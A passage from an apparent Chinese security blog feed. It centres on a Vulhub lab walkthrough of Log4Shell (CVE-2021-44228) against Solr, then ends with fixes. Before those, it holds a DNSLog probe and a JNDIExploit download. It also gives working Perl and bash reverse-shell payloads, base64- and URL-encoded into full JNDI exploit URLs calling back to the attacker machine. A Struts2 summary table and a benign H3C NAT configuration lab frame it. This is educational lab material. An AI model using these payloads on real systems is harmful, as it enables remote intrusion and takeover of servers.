<strong>修复建议</strong>：升级到 Struts 6.4.0 或更高版本，或参考官方安全公告及时修补。</p></section></section>
<section><h2>📋 Struts2 漏洞对比一览<a href="#-struts2-漏洞对比一览"><span>#</span></a></h2>

<table><thead><tr><th>漏洞编号</th><th>注入点</th><th>触发方式</th><th>核心特点</th></tr></thead><tbody><tr><td><strong>S2-016</strong></td><td>URL 参数</td><td><code>redirect:</code> 前缀</td><td>最基础的 OGNL 注入，Payload 结构清晰</td></tr><tr><td><strong>S2-045</strong></td><td><code>Content-Type</code> 请求头</td><td>文件上传请求</td><td>无需登录，影响范围广，面试高频</td></tr><tr><td><strong>S2-057</strong></td><td>URL 路径 <code>namespace</code></td><td>特定配置条件下的路径遍历</td><td>原理独特，需 <code>alwaysSelectFullNamespace=true</code></td></tr><tr><td><strong>S2-061</strong></td><td>标签属性</td><td><code>%{...}</code> 二次解析</td><td>S2-059 的沙盒绕过，展示沙盒演化</td></tr><tr><td><strong>S2-067</strong></td><td>文件上传</td><td>路径遍历</td><td>与 OGNL 无关，属于文件上传逻辑漏洞</td></tr></tbody></table><p><strong>注意：以上漏洞都可以进一步使用反弹shell（S2-067则可以上传一句话木马），来获取系统的shell权限。</strong></p></section>]]></content>
    </entry>
    <entry>
      <id>https://firefly-569.pages.dev/posts/vulhub/apache-log4j2/</id>
      <title type="text">Apache Log4j2</title>
      <published>2026-09-09T01:00:00.000Z</published>
      <updated>2026-09-09T01:00:00.000Z</updated>
      <author><name>Ynm</name></author>
      <link rel="alternate" href="https://firefly-569.pages.dev/posts/vulhub/apache-log4j2/"/>
      <summary type="text">全面解析&quot;核弹级&quot;漏洞 Log4j2 的 JNDI 注入原理，结合 Vulhub 靶场从零复现 RCE，涵盖漏洞成因、利用链分析、绕过手法及实战修复方案。</summary>
      <content type="html"><![CDATA[

<table><thead><tr><th>项目</th><th>详情</th></tr></thead><tbody><tr><td><strong>攻击机</strong></td><td>Kali Linux（IP：192.168.197.10）</td></tr><tr><td><strong>靶机</strong></td><td>Ubuntu Server 24.04（IP：192.168.197.88）</td></tr><tr><td><strong>CVSS 评分</strong></td><td>10.0（严重）</td></tr><tr><td><strong>漏洞编号</strong></td><td>CVE-2021-44228（Log4Shell）</td></tr><tr><td><strong>影响组件</strong></td><td>Apache Log4j2 2.0-beta9 ~ 2.14.1</td></tr><tr><td><strong>漏洞类型</strong></td><td>JNDI 注入 → 远程代码执行（RCE）</td></tr><tr><td><strong>利用条件</strong></td><td>应用使用漏洞版 Log4j2 + 用户输入被日志记录</td></tr><tr><td><strong>核心原理</strong></td><td><code>${jndi:ldap://...}</code> 表达式触发远程类加载</td></tr></tbody></table>
<section><h3>一、漏洞概述<a href="#一漏洞概述"><span>#</span></a></h3><p>CVE-2021-44228，又名 Log4Shell，是 Apache Log4j2 日志组件中被发现的远程代码执行（RCE）漏洞，CVSS 评分高达 10.0（满分） 。该漏洞影响 Log4j2 版本 2.0-beta9 到 2.14.1，攻击者只需向目标系统输入包含特定恶意表达式的字符串，即可触发漏洞并执行任意代码，无需任何认证。</p><blockquote><p><strong>影响范围</strong>：Log4j2 被广泛应用于各类 Java 应用（如 Solr、Elasticsearch、SpringBoot 应用等），漏洞波及面极广。</p></blockquote></section>
<section><h3>二、漏洞验证（DNSLog 探测）<a href="#二漏洞验证dnslog-探测"><span>#</span></a></h3><p><strong>Step 1：获取 DNSLog 域名</strong></p><p>访问 DNSLog 平台（如 dnslog.cn），获取一个专属域名，例如 bu74sz.dnslog.cn。</p><p><strong>Step 2：构造并发送 Payload</strong></p><p>在浏览器中访问以下 URL：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://192.168.197.88:8983/solr/admin/cores?action=${jndi:ldap://bu74sz.dnslog.cn}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020260909220954.v6KQ4uzg_2lpObM.webp" /></p><p><strong>Step 3：查看 DNSLog 回显</strong></p><p>刷新 DNSLog 平台页面，如果看到有 DNS 解析记录，说明漏洞存在。</p><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020260909221016.CO6qiMzd_RKL5B.webp" /></p></section>
<section><h3>三、漏洞利用（反弹 Shell）<a href="#三漏洞利用反弹-shell"><span>#</span></a></h3><section><h4>3.1 漏洞原理<a href="#31-漏洞原理"><span>#</span></a></h4><p>DNSLog 探测只能证明漏洞存在，要获取服务器权限需要进一步利用，核心手段是<strong>反弹 Shell</strong>。这一切都建立在 Log4j2 的 <strong>Lookup（查找）机制</strong>之上。</p><p>Log4j2 允许在日志信息中使用 ${} 语法动态插入运行时值，其中<strong>JNDI Lookup</strong>（即 ${jndi:…}）是功能最强大的查找方式之一。JNDI（Java Naming and Directory Interface，Java命名与目录接口）是 Java 官方提供的一套 API，允许应用程序通过一个名称去动态查找和访问远程资源，包括 LDAP 目录服务、RMI 远程对象等。开发者本意是用它来读取配置中心或外部服务的数据，但问题在于：<strong>这些表达式的解析过程完全可控，且没有任何白名单或权限校验</strong>。</p><p>攻击者正是看中了这一点，构造恶意输入，将 ${jndi:ldap://攻击者IP/恶意类} 这类字符串注入到应用日志中。Log4j2 在记录日志时，会解析 ${} 表达式并触发 JNDI 查询，导致服务器主动去连接攻击者搭建的恶意 LDAP 服务。</p><p>完整的攻击链路如下：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>用户可控输入（包含恶意 ${jndi:...}）</span></div></div><div><div><div>2</div></div><div><span><span>         </span></span><span>↓</span></div></div><div><div><div>3</div></div><div><span>应用调用 logger.info() 记录该输入</span></div></div><div><div><div>4</div></div><div><span><span>         </span></span><span>↓</span></div></div><div><div><div>5</div></div><div><span>Log4j2 解析日志信息，识别出 ${jndi:...} 表达式</span></div></div><div><div><div>6</div></div><div><span><span>         </span></span><span>↓</span></div></div><div><div><div>7</div></div><div><span>触发 JNDI Lookup，向攻击者控制的 LDAP 服务器发起请求</span></div></div><div><div><div>8</div></div><div><span><span>         </span></span><span>↓</span></div></div><div><div><div>9</div></div><div><span>恶意 LDAP 服务器返回一个包含恶意 Java 类下载地址的引用</span></div></div><div><div><div>10</div></div><div><span><span>         </span></span><span>↓</span></div></div><div><div><div>11</div></div><div><span>靶机根据引用地址请求攻击者的 HTTP 服务，下载并加载恶意类</span></div></div><div><div><div>12</div></div><div><span><span>         </span></span><span>↓</span></div></div><div><div><div>13</div></div><div><span>恶意类被执行，向攻击机发起反向连接（反弹 Shell）</span></div></div><div><div><div>14</div></div><div><span><span>         </span></span><span>↓</span></div></div><div><div><div>15</div></div><div><span>攻击者获得靶机 Shell 权限</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>把上面的攻击链路转化成图，如下所示：</p><div><div><div>⚔️ 攻击机 Kali192.168.197.10🎯 靶机 Solr192.168.197.88⚔️ 攻击机 Kali192.168.197.10🎯 靶机 Solr192.168.197.88① 攻击机先开好2个"钩子"nc监听4444(等反弹)JNDIExploit起LDAP 1389 + HTTP 8888② 攻击机把恶意URL发给靶机:8983/solr?...action=${jndi:ldap://攻击机:1389/...}靶机执行恶意类触发反弹Shell命令靶机解析${jndi}后主动连攻击机LDAP(1389)要"资源"1LDAP: 你的恶意类在http://攻击机:8888/ExploitX.class2靶机从8888下载恶意类3返回恶意类代码(HTTP 200)4靶机主动连回攻击机4444(反弹shell)5攻击机获得靶机root shell控制权6
</div><div>⚔️ 攻击机 Kali192.168.197.10🎯 靶机 Solr192.168.197.88⚔️ 攻击机 Kali192.168.197.10🎯 靶机 Solr192.168.197.88① 攻击机先开好2个"钩子"nc监听4444(等反弹)JNDIExploit起LDAP 1389 + HTTP 8888② 攻击机把恶意URL发给靶机:8983/solr?...action=${jndi:ldap://攻击机:1389/...}靶机执行恶意类触发反弹Shell命令靶机解析${jndi}后主动连攻击机LDAP(1389)要"资源"1LDAP: 你的恶意类在http://攻击机:8888/ExploitX.class2靶机从8888下载恶意类3返回恶意类代码(HTTP 200)4靶机主动连回攻击机4444(反弹shell)5攻击机获得靶机root shell控制权6
</div></div></div><p>从技术角度看，漏洞的根本成因有两个层面：</p><ol>
<li><strong>Log4j2 层面</strong>：Log4j2 的 JNDI Lookup 功能默认开启，且未对 JNDI 请求的目标地址做任何限制或过滤，导致攻击者可以任意指定 LDAP、RMI、DNS 等协议的服务地址。</li>
<li><strong>JDK 层面</strong>：在 JDK 8u191 之前的版本中，com.sun.jndi.ldap.object.trustURLCodebase 参数默认为 true，允许 JNDI 从远程 HTTP 服务器动态加载 Java 类并实例化。这个设计原本是为了方便 RMI/LDAP 服务分发对象，却成了攻击者植入恶意代码的通道。</li>
</ol><p>两者叠加，使得攻击者仅需一个简单的字符串注入点，就能实现远程代码执行，无需任何认证。这也是 Log4Shell 被评为 CVSS 10.0（最高严重等级）的核心原因。</p></section><section><h4>3.2 操作步骤<a href="#32-操作步骤"><span>#</span></a></h4><p>根据上面对原理的说明，具体的攻击流程如下：</p><ol>
<li>攻击者启动恶意 LDAP 服务 + HTTP 服务（托管恶意 Java 类）</li>
<li>向靶机发送包含 ${jndi:ldap://192.168.197.10/恶意类} 的 Payload</li>
<li>靶机 Log4j2 解析并连接攻击机的 LDAP 服务</li>
<li>LDAP 服务返回恶意类的引用地址（HTTP 服务）</li>
<li>靶机加载并执行恶意类 → 反向连接攻击机 → 获得 Shell</li>
</ol><p><strong>Step 1：在攻击机（Kali）上启动 Netcat 监听</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>nc -lvnp 4444</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>4444 是监听端口，可自行修改。
<img alt="" loading="lazy" width="1542" height="911" src="/_astro/Pasted%20image%2020260909163723.B81dT6Xs_1sAT5E.webp" />
<strong>Step 2：准备 JNDI 利用工具</strong></p><p>推荐使用 JNDIExploit 工具：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 下载JNDIExploit，请直接在物理机的浏览器中粘贴（开代理），然后拖到kali中</span></div></div><div><div><div>2</div></div><div><span>https://bit.ly/3Azqvnq</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 如果在kali直接下载，请使用下面的命令，但是需要开代理</span></div></div><div><div><div>5</div></div><div><span>wget https://bit.ly/3Azqvnq -O JNDIExploit-1.2-SNAPSHOT.jar</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>Step 3：启动恶意 LDAP 服务</strong></p><p>由于在新版kali不能下载Java 8，因此使用docker，并将JNDIExploit挂载到docker容器中。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 拉取 OpenJDK 8 镜像</span></div></div><div><div><div>2</div></div><div><span>docker pull eclipse-temurin:8-jdk</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 运行 JNDIExploit 容器</span></div></div><div><div><div>5</div></div><div><span>docker run --rm -it \</span></div></div><div><div><div>6</div></div><div><span><span>  </span></span><span>-p 1389:1389 \</span></div></div><div><div><div>7</div></div><div><span><span>  </span></span><span>-p 8888:8888 \</span></div></div><div><div><div>8</div></div><div><span><span>  </span></span><span>-v /root/JNDIExploit.v1.2:/workspace \</span></div></div><div><div><div>9</div></div><div><span><span>  </span></span><span>-w /workspace \</span></div></div><div><div><div>10</div></div><div><span><span>  </span></span><span>eclipse-temurin:8-jdk \</span></div></div><div><div><div>11</div></div><div><span><span>  </span></span><span>java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.197.10 -p 8888</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ul>
<li><code>-i</code>：指定攻击机 IP（靶机可访问的地址）</li>
<li><code>-p</code>：指定 HTTP 服务端口，默认 8888</li>
</ul><p>该命令会同时启动 LDAP 服务（默认 1389 端口）和 HTTP 服务（8888 端口）。</p><p><strong>Step 4：构造反弹 Shell Payload</strong></p><p>经过事后分析，发现这里构造反弹 Shell Payload可以选/bin/bash和perl两种，这里先选用perl。</p><p>为什么？因为执行下面的命令检查，发现只有/bin/bash和perl可用，其他的例如python在docker环境中都没有，因此不可用，当然在实际环境中可用的手段会更多。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>ls -l /bin/sh /bin/bash /bin/dash</span></div></div><div><div><div>2</div></div><div><span>which nc</span></div></div><div><div><div>3</div></div><div><span>which python3 python</span></div></div><div><div><div>4</div></div><div><span>which perl</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1541" height="908" src="/_astro/Pasted%20image%2020260909215556.Dj0YxB5a_27U5uM.webp" /></p><blockquote><ul>
<li>/bin/bash（Bourne Again SHell）：Linux 中最常用的命令解释器。它的强大之处在于支持高级重定向，比如 &gt;/dev/tcp/…。这其实是 Bash 内置的一个“伪文件”特性，允许你像操作文件一样操作网络连接。</li>
<li>perl（Practical Extraction and Reporting Language）：一种成熟的编程语言。它自带强大的 Socket（套接字）库，可以不依赖 Shell 语法，直接用代码建立网络连接。</li>
</ul></blockquote><p>反弹 Shell 命令需要进行 <strong>Base64 编码</strong>：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>printf '%s' "perl -e 'use Socket;\$i=\"192.168.197.10\";\$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\"&gt;&amp;S\");open(STDOUT,\"&gt;&amp;S\");open(STDERR,\"&gt;&amp;S\");exec(\"/bin/bash -i\")};'" | base64</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1541" height="914" src="/_astro/Pasted%20image%2020260909211613.C64nl4Ap_1bCsV6.webp" />
得到编码后的字符串：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTkyLjE2OC4xOTcuMTAiOyRwPTQ0NDQ7c29ja2V0KFMs</span></div></div><div><div><div>2</div></div><div><span>UEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxz</span></div></div><div><div><div>3</div></div><div><span>b2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RE</span></div></div><div><div><div>4</div></div><div><span>T1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9iYXNoIC1pIil9Oyc=</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>Step 5：向靶机发送攻击 Payload</strong></p><p>在浏览器中访问，此时要注意，因为‘+’和‘=’会在传输中被转义成空格，因此需要进行url编码，变成下面的形式后，再访问：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://192.168.197.88:8983/solr/admin/cores?action=${jndi:ldap://192.168.197.10:1389/Basic/Command/Base64/cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTkyLjE2OC4xOTcuMTAiOyRwPTQ0NDQ7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI%2BJlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9iYXNoIC1pIil9Oyc%3D}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020260909211948.BCARs61G_9tvmW.webp" /></p><p><strong>Step 6：获取反弹 Shell</strong></p><p>查看之前启动的 Netcat 监听窗口，如果成功，将看到靶机的 Shell 连接进来：</p><p><img alt="" loading="lazy" width="1542" height="913" src="/_astro/Pasted%20image%2020260909212047.DcRqlWJl_29Hypx.webp" /></p><p>此时已成功获得目标服务器的 Shell 权限。</p><p><strong>补充：</strong></p><p>也可以用下面的/bin/bash反弹命令。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 原始反弹命令</span></div></div><div><div><div>2</div></div><div><span>bash -c "bash -i &gt;&amp; /dev/tcp/192.168.197.10/4444 0&gt;&amp;1"</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># Base64 编码</span></div></div><div><div><div>5</div></div><div><span>echo -n 'bash -c "bash -i &gt;&amp; /dev/tcp/192.168.197.10/4444 0&gt;&amp;1"' | base64</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>得到编码串：YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMC80NDQ0IDA+JjEi，拼进 JNDI 表达式并对整段做 URL 编码后，最终访问：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://192.168.197.88:8983/solr/admin/cores?action=%24%7Bjndi%3Aldap%3A%2F%2F192.168.197.10%3A1389%2FBasic%2FCommand%2FBase64%2FYmFzaCAtYyAiYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMC80NDQ0IDA%2BJjEi%7D</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>
<section><h3>四、修复方案<a href="#四修复方案"><span>#</span></a></h3><p>1.<strong>优先升级版本</strong>：将Log4j2升级至2.17.1或更高版本（如2.x最新稳定版），官方已在后续版本中默认禁用了JNDI Lookup并移除了相关危险功能。</p><p>2.<strong>临时缓解措施</strong>：若无法立即升级，可通过JVM参数禁用Lookup功能：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>-Dlog4j2.formatMsgNoLookups=true</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>3.<strong>配合WAF规则</strong>：在应用前端部署WAF，对包含${jndi:、${rmi:等关键字的请求进行拦截，作为临时防御补充。</p><p>4.<strong>排查其他Log4j2版本</strong>：Log4j 2.0-beta9至2.14.1均受影响，需全面排查项目依赖，包括间接依赖的Log4j2组件。</p><p>5.<strong>注意JDK版本差异</strong>：JDK 8u191及以上版本默认限制了远程类加载，但不能依赖此特性作为防护手段，升级Log4j2才是根本解决方案。</p><blockquote><p><strong>注意</strong>：无论采用哪种修复方式，部署前务必在测试环境中充分验证，避免对业务造成影响。</p></blockquote></section>]]></content>
    </entry>
    <entry>
      <id>https://firefly-569.pages.dev/posts/h3cne-rs/202693-nat-%E5%AE%9E%E9%AA%8C/</id>
      <title type="text">NAT 实验</title>
      <published>2026-09-03T01:00:00.000Z</published>
      <updated>2026-09-03T01:00:00.000Z</updated>
      <author><name>Ynm</name></author>
      <link rel="alternate" href="https://firefly-569.pages.dev/posts/h3cne-rs/202693-nat-%E5%AE%9E%E9%AA%8C/"/>
      <summary type="text">通过配置 NAPT、EASY IP 与 NAT Server，实现私网访问互联网及 FTP 服务公网发布，验证地址转换与端口映射。</summary>
      <content type="html"><![CDATA[<section><h3>实验拓扑<a href="#实验拓扑"><span>#</span></a></h3><p><img alt="" loading="lazy" width="1572" height="742" src="/_astro/Pasted%20image%2020260902215547.Cc1Kx8J2_Z2x0qtw.webp" /></p></section>
<section><h2>实验需求<a href="#实验需求"><span>#</span></a></h2><ol>
<li>按照图示配置 IP 地址</li>
<li>私网 A 通过 R1 接入到互联网，私网 B 通过 R3 接入到互联网</li>
<li>私网 A 内部存在 Vlan10 和 Vlan20，通过 R1 上单臂路由访问外部网络</li>
<li>私网 A 通过 NAPT 使 Vlan10 和 Vlan20 都能够使用 R1 的公网地址访问互联网</li>
<li>私网 B 通过在 R3 上配置 EASY IP 访问互联网</li>
<li>私网 A 配置 NAT SERVER 把 FTPA 的 FTP 服务发布到公网，使 PCB 可以访问</li>
</ol><section><h3>实验解法<a href="#实验解法"><span>#</span></a></h3><section><h4>1.配置 IP 地址<a href="#1配置-ip-地址"><span>#</span></a></h4><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># FTP-A的配置如下：</span></div></div><div><div><div>2</div></div><div><span>int g0/0</span></div></div><div><div><div>3</div></div><div><span>ip add 192.168.1.1 24</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span># PCA的配置如下：</span></div></div><div><div><div>6</div></div><div><span>int g0/0</span></div></div><div><div><div>7</div></div><div><span>ip add 192.168.2.1 24</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span># R1的配置如下：</span></div></div><div><div><div>10</div></div><div><span>int g0/1</span></div></div><div><div><div>11</div></div><div><span>ip add 100.1.1.1 24</span></div></div><div><div><div>12</div></div><div>
</div></div><div><div><div>13</div></div><div><span># R2的配置如下：</span></div></div><div><div><div>14</div></div><div><span>int g0/0</span></div></div><div><div><div>15</div></div><div><span>ip add 100.1.1.2 24</span></div></div><div><div><div>16</div></div><div><span>int g0/1</span></div></div><div><div><div>17</div></div><div><span>ip add 100.2.2.2 24</span></div></div><div><div><div>18</div></div><div>
</div></div><div><div><div>19</div></div><div><span># R3的配置如下：</span></div></div><div><div><div>20</div></div><div><span>int g0/0</span></div></div><div><div><div>21</div></div><div><span>ip add 100.2.2.3 24</span></div></div><div><div><div>22</div></div><div><span>int g0/1</span></div></div><div><div><div>23</div></div><div><span>ip add 192.168.1.3 24</span></div></div><div><div><div>24</div></div><div>
</div></div><div><div><div>25</div></div><div><span># PCB的配置如下：</span></div></div><div><div><div>26</div></div><div><span>int g0/0</span></div></div><div><div><div>27</div></div><div><span>ip add 192.168.1.1 24</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h4>2.R1 和 R3 上配置默认路由指向公网<a href="#2r1-和-r3-上配置默认路由指向公网"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># R1的配置如下：</span></div></div><div><div><div>2</div></div><div><span>ip route-static 0.0.0.0 0 100.1.1.2</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># R3的配置如下：</span></div></div><div><div><div>5</div></div><div><span>ip route-static 0.0.0.0 0 100.2.2.2</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>3.私网 A 内部单臂路由配置<a href="#3私网-a-内部单臂路由配置"><span>#</span></a></h4><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># FTP-A的配置如下：</span></div></div><div><div><div>2</div></div><div><span>ip route-static 0.0.0.0 0 192.168.1.254</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># PCA的配置如下：</span></div></div><div><div><div>5</div></div><div><span>ip route-static 0.0.0.0 0 192.168.2.254</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span># SWA的配置如下：</span></div></div><div><div><div>8</div></div><div><span>vlan 10</span></div></div><div><div><div>9</div></div><div><span>port g1/0/1</span></div></div><div><div><div>10</div></div><div><span>vlan 20</span></div></div><div><div><div>11</div></div><div><span>port g1/0/2</span></div></div><div><div><div>12</div></div><div><span>int g1/0/3</span></div></div><div><div><div>13</div></div><div><span>port link-type trunk</span></div></div><div><div><div>14</div></div><div><span>port trunk permit vlan 10 20</span></div></div><div><div><div>15</div></div><div>
</div></div><div><div><div>16</div></div><div><span># R1的配置如下：</span></div></div><div><div><div>17</div></div><div><span>interface g0/0.1</span></div></div><div><div><div>18</div></div><div><span>vlan-type dot1q vid 10</span></div></div><div><div><div>19</div></div><div><span>ip address 192.168.1.254 24</span></div></div><div><div><div>20</div></div><div><span>interface g0/0.2</span></div></div><div><div><div>21</div></div><div><span>vlan-type dot1q vid 20</span></div></div><div><div><div>22</div></div><div><span>ip address 192.168.2.254 24</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h4>4.私网 A 通过 NAPT 使 Vlan10 和 Vlan20 都能够使用 R1 的公网地址访问互联网<a href="#4私网-a-通过-napt-使-vlan10-和-vlan20-都能够使用-r1-的公网地址访问互联网"><span>#</span></a></h4><p>分析：根据需求得知，ACL 需要配置允许 192.168.1.0/24 和 192.168.2.0/24 网段；私网 A 只有 1 个公网地址可用，意味着创建的 NAT 地址池起始和结束地址就都是 100.1.1.1</p><section><h5>步骤 1：R1 上创建基本 ACL，允许 192.168.1.0/24 和 192.168.2.0/24 网段<a href="#步骤-1r1-上创建基本-acl允许-1921681024-和-1921682024-网段"><span>#</span></a></h5><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>acl basic 2000</span></div></div><div><div><div>2</div></div><div><span>rule permit source 192.168.1.0 0.0.0.255</span></div></div><div><div><div>3</div></div><div><span>rule permit source 192.168.2.0 0.0.0.255</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h5>步骤 2：R1 上创建 NAT 地址池，设置公网地址<a href="#步骤-2r1-上创建-nat-地址池设置公网地址"><span>#</span></a></h5><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>nat address-group 1</span></div></div><div><div><div>2</div></div><div><span>address 100.1.1.1 100.1.1.1</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h5>步骤 3：在 R1 的公网接口上配置 NAPT<a href="#步骤-3在-r1-的公网接口上配置-napt"><span>#</span></a></h5><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>interface g0/1</span></div></div><div><div><div>2</div></div><div><span>nat outbound 2000 address-group 1</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h5>检测：在 PCA 上 Ping R3 的公网地址，测试是否可以访问互联网。<a href="#检测在-pca-上-ping-r3-的公网地址测试是否可以访问互联网"><span>#</span></a></h5><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;PCA&gt;ping 100.2.2.3</span></div></div><div><div><div>2</div></div><div><span>Ping 100.2.2.3 (100.2.2.3): 56 data bytes, press CTRL+C to break</span></div></div><div><div><div>3</div></div><div><span>56 bytes from 100.2.2.3: icmp_seq=0 ttl=253 time=8.000 ms</span></div></div><div><div><div>4</div></div><div><span>56 bytes from 100.2.2.3: icmp_seq=1 ttl=253 time=6.000 ms</span></div></div><div><div><div>5</div></div><div><span>56 bytes from 100.2.2.3: icmp_seq=2 ttl=253 time=8.000 ms</span></div></div><div><div><div>6</div></div><div><span>56 bytes from 100.2.2.3: icmp_seq=3 ttl=253 time=8.000 ms</span></div></div><div><div><div>7</div></div><div><span>56 bytes from 100.2.2.3: icmp_seq=4 ttl=253 time=7.000 ms</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span>--- Ping statistics for 100.2.2.3 ---</span></div></div><div><div><div>10</div></div><div><span>5 packet(s) transmitted, 5 packet(s) received, 0.0% packet loss</span></div></div><div><div><div>11</div></div><div><span>round-trip min/avg/max/std-dev = 6.000/7.400/8.000/0.800 ms</span></div></div><div><div><div>12</div></div><div><span>&lt;PCA&gt;%Sep  3 09:26:12:404 2026 PCA PING/6/PING_STATISTICS: Ping statistics for 100.2.2.3: 5 packet(s) transmitted, 5 packet(s) received, 0.0% packet loss, round-trip min/avg/max/std-dev = 6.000/7.400/8.000/0.800 ms.</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section><section><h4>5.私网 B 通过在 R3 上配置 EASY IP 访问互联网<a href="#5私网-b-通过在-r3-上配置-easy-ip-访问互联网"><span>#</span></a></h4><p>分析：根据需求得知，ACL 需要配置允许 192.168.1.0/24 网段；使用 EASY IP，就无需配置 NAT 地址池，直接在公网接口上配置即可，EASY IP 会自动识别公网接口的 IP 地址。</p><section><h5>步骤 1：R3 上创建基本 ACL，允许 192.168.1.0/24 网段<a href="#步骤-1r3-上创建基本-acl允许-1921681024-网段"><span>#</span></a></h5><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>acl basic 2000</span></div></div><div><div><div>2</div></div><div><span>rule permit source 192.168.1.0 0.0.0.255</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h5>步骤 2：在 R3 的公网接口上配置 EASY IP<a href="#步骤-2在-r3-的公网接口上配置-easy-ip"><span>#</span></a></h5><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>interface g0/0</span></div></div><div><div><div>2</div></div><div><span>nat outbound 2000</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h5>检测：在 PCB 上 Ping R1 的公网地址，测试是否可以访问互联网<a href="#检测在-pcb-上-ping-r1-的公网地址测试是否可以访问互联网"><span>#</span></a></h5><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[PCB]ping 100.1.1.1</span></div></div><div><div><div>2</div></div><div><span>Ping 100.1.1.1 (100.1.1.1): 56 data bytes, press CTRL+C to break</span></div></div><div><div><div>3</div></div><div><span>56 bytes from 100.1.1.1: icmp_seq=0 ttl=253 time=6.000 ms</span></div></div><div><div><div>4</div></div><div><span>56 bytes from 100.1.1.1: icmp_seq=1 ttl=253 time=5.000 ms</span></div></div><div><div><div>5</div></div><div><span>56 bytes from 100.1.1.1: icmp_seq=2 ttl=253 time=7.000 ms</span></div></div><div><div><div>6</div></div><div><span>56 bytes from 100.1.1.1: icmp_seq=3 ttl=253 time=5.000 ms</span></div></div><div><div><div>7</div></div><div><span>56 bytes from 100.1.1.1: icmp_seq=4 ttl=253 time=5.000 ms</span></div></div><div><div><div>8</div></div><div>
